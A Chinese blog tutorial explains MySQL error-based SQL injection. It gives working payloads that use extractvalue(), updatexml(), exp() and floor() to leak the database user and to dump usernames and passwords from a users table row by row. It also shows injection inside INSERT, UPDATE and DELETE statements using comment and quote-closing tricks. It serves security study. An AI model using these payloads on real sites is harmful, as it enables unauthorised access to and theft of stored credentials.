SQL报错注入_mysql报错注入能改数据库吗-程序员宅基地

技术标签: 笔记  mysql  网络安全  SQL注入  sql  

1.原理

  1. 数据库的原始报错信息被直接打印在屏幕中
  2. extractvalue() 和 updatexml() 被传入不正常的字符格式,然后对非法的格式内容执行,返回非法输入内容执行后的结果

2.报错注入函数

2.1 extractvalue()

1.是一个对XML文档进行查询的函数

2.语法 extractvalue(目标XML文档,XML路径);

3.第二个参数XML中的位置是可操作的地方,xml文档中查找字符位置所用的 正确格式为 /xxx/xxx/xxx/… ;写入其他格式会报错,返回写入的非法格式内容执行后的结果

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

2.2 updatexml()

1.与 extractxml() 类似,是更新XML文档的函数

2.语法 updatexml(目标xml文档,xml路径,更新的内容)

3.报错方式与 extractvalue() 相同

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

2.3 exp()

id=1 and exp(~(select * from(select user())a))

2.4 floor()

  1. 与虚拟表有关

3.利用流程

  1. 根据报错注入可以找库名,表名,列名(类似回显注入流程)
  2. 可以查找出数据库中具体值

3.1 limit

limit n,m -- 表示从第 n+1 行 读 m 个数据

1、判断有几行数据

1' and (extractvalue(1,
concat(0x7e,
(select count(*) from users),
0x7e)
))--+

2、逐行读取数据

and (extractvalue(1,
concat(0x7e,
(select concat(id,username,password) from users limit 0,1),
0x7e)
))--+

3.2 substr()

  1. 字符截取函数

  2. 在SQL注入利用过程中,能判断页面输出的最大字符 ---- 有效数据

  3. 读取数据

     1' and (extractvalue(1,
     concat(0x7e,
     (select 
     substr(group_concat(id,username,password),0,31) 
     from users ),
     0x7e)
     ))--+
    
     substr(str,a,b)    
     //str -- 被截取的字符串
     //a -- 被截取的开始位置
     //b -- 从开始位置往后截取的位数    
    

4.利用报错注入–增删改查

一般在注册框进行利用

4.1 insert类型

  1. 一般在注册框进行利用
  2. 经过测试,根据不同的场景进行注释闭合等,然后再提交payload
4.1.1 使用注释
  1. 增删改查时,利用报错函数进行数据的获取

  2. 由于’111’ 和 (extractvalue(1,(SELECT user()))) 的类型不一样,在拼接之前需要执行;就会返回报错信息

     INSERT into login00 (name,password) 
     VALUES ('111' and (extractvalue(1,(SELECT user()))),'aaa') #
    
4.1.2 使用闭合
  1. 当为字符型注入的时候,后面也需要闭合 111’闭合前面引号,'0 闭合后面引号

  2. 最后需要加上分号,表示这是一个完整的语句(也相当于闭合)

     INSERT into login00 (name,password) 
     VALUES ('111' + (extractvalue(1,(SELECT user())))+'0','aaa');
    
4.1.3 多行注释
  1. 以下这种插入形式,适合用多行注释

     insert into login00 SET 
     name='aaa'+(extractvalue(1,concat(0x7e,(select user()),0x7e)))+'0',
     password='1111'; 
     /*,password='aaa'
    

4.2 update类型

UPDATE login00 SET name=new-value1, password=new-value2

4.3 delete类型

DELETE FROM login00 where name=
'12' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
-- 即使 login00 表中有符合条件(name='12')的数据,也不能将其删除;只能返回非法输入内容执行后的结果

DELETE FROM login00 where password='aaa' and 1=1  -- 可以删除指定数据
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_46684578/article/details/116769788

智能推荐

AudioES8374音频驱动调试_es8374 调试-程序员宅基地

文章浏览阅读6.9k次,点赞2次,收藏19次。 AudioES8374驱动模块调试 目录 Audio ES8374. 2 一、Audio ES8374文件建立与编译... 2 二、Audio ES8374原理图... 3 三、Audio ES8374相关配置... 3 四、Audio ES8374 I2C读写... 4..._es8374 调试

利用Vitis开发基于ZCU106的神经网络加速器(二)——DPU编译及Demo_dpu kernel编译工具是什么-程序员宅基地

文章浏览阅读4.4k次,点赞2次,收藏26次。前言上一篇文章讲到了如何生成可供Vitis使用的XRT platform。这次我们使用生成的platform来开发一个完整的加速器Demo并在ZCU06上跑通。DPU概述DPU是Vitis AI中官方提供的FPGA神经网络加速器,其架构如下图:DP(Deep Learning Processor Unit)是专用于卷积神经网络的可配置计算引擎。 引擎中使用的并行度是设计参数和应用程序。 它包含一组高度优化的指令,并支持大多数卷积神经网络,例如VGG,ResNet,GoogleNet,YOLO,SS_dpu kernel编译工具是什么

毕业论文图片格式、分辨率选择及高质量Word转PDF方法_什么格式的图像在word转pdf的时候损失小-程序员宅基地

文章浏览阅读1.8k次。毕业论文插图格式、分辨率选择及高质量Word转PDF方法_什么格式的图像在word转pdf的时候损失小

文件在线预览,支持各种文件类型,docker 离线发布kkFileview。_离线docker部署kkfile-程序员宅基地

文章浏览阅读681次。文件在线预览,docker离线安装,1分钟内即可搞定,word,ppt,excel纯开源,下载执行执行脚本,一步到位_离线docker部署kkfile

基于STM32CUBEMX驱动低压步进器电机驱动器STSPIN220(3)----定时器中断产生指定数量脉冲_stspin220 ref-程序员宅基地

文章浏览阅读1w次。在步进电机控制过程中,为了实现精确的位置和速度控制,经常需要输出指定数量的脉冲。这就需要使用定时器功能来生成PWM脉冲信号。本文将详细介绍如何利用STM32CUBEMX配置定时器以输出指定数量的PWM脉冲。定时器是STM32微控制器的一个重要功能模块,可用于生成各种定时和计数操作。通过合理配置定时器的参数和模式,我们可以实现精确的脉冲输出。_stspin220 ref

Centos /Linux环境下利用Docker备份mysql5.7数据库及容器还原数据库_docker容器中mysq5.7通过容齐卷数据恢复-程序员宅基地

文章浏览阅读2.7k次。或者不进入mysql直接容器中还原。复制备份文件到容器中的var目录。创建数据库(若已有不用在创建)使用备份sql恢复数据库。_docker容器中mysq5.7通过容齐卷数据恢复

随便推点

stm32资料库 6_stm ibis-程序员宅基地

文章浏览阅读1.1k次。PC端软件 1.DfuSe DfuSe——USB设备固件升级 ST扩展:包含PC端演示程序、调试演示程序和所有协议层源程序 2009年7月 DfuSe DfuSe——USB设备固件升级 ST扩展 程序包DfuSe DfuSe——USB设备固件升级 ST扩展 英文文档2.Flash loader demonstrator STM32F101xx和STM32F103xx闪存加载演示程序:包含PC端演示程序、命令行演示程序和头文件源码 20_stm ibis

GeoServer速成:安装启动,发布地图,加载QGIS_qgis geoserver-程序员宅基地

文章浏览阅读1.6k次,点赞2次,收藏11次。本节主题:Geoserver下载配置启动,发布地图,发布服务用QGIS查看。预计时间15分钟。练习数据位置:https://download.csdn.net/download/sinat_41310868/19362372视频教程见:https://www.bilibili.com/video/BV1Sg41137EZ/如果CSDN图片不清楚,请移步知乎:https://zhuanlan.zhihu.com/p/377826133一、下载配置启动访问http://geoserver_qgis geoserver

利用matlab构建自己的colormap(色彩搭配)_matlab colormap-程序员宅基地

文章浏览阅读10w+次,点赞170次,收藏698次。利用matlab构建自己的colormap这个博客是自己的第一篇博客,瞎写实验中。。。因为平时绘制多条曲线,多种颜色的散点图以及二维色彩图时,经常受colormap折磨,嫌弃matlab自带的太丑,自己想要的效果没有。所以这篇文章主要从RGB格式和HSV格式两种颜色模式去衡量构造颜色条。1.颜色模式首先说一下RBG格式,是通过对红(R)、绿(G)、蓝(B)三个颜色通道的变化以及..._matlab colormap

DolphinScheduler 2.0.5详解_apache-dolphinscheduler-2.0.5--程序员宅基地

文章浏览阅读1.7k次。大数据目前比较火爆的任务调度平台DolphinScheduler,一篇详细讲解DolphinScheduler的文档。DolphinScheduler 2.0.5详解涵盖DolphinScheduler介绍、系统架构,dolphinScheduler集群部署和DolphinScheduler的功能应用及DolphinScheduler问题解决方案等。_apache-dolphinscheduler-2.0.5-

学习STM32F769DK-OTA例程之百度云平台建立MQTT服务器-程序员宅基地

文章浏览阅读376次。@2019-04-17【小记】  百度云平台建立MQTT服务器时需要设置权限组,否则连接失败转载于:https://www.cnblogs.com/skullboyer/p/10722169.html_stm32 wifi mqtt 百度云

[业务流程图]与[数据流程图]的比较_数据流图与业务流程图的区别-程序员宅基地

文章浏览阅读2k次。[摘要] 业务流程图(Transaction Flow Diagram)和数据流程图(Data Flow Diagram)是结构化信息系统开发方法中两种常用的图形工具。本文从描述对象、功能作用、基本符号和绘制方法四个方面阐述二者的区别, 对它们的联系也作了介绍。[关键词]结构化系统开发方法 系统调研 业务流程图 数据流程图一、业务流程图与数据流程图的区别1. 描述对象不同 _数据流图与业务流程图的区别

推荐文章

热门文章

相关标签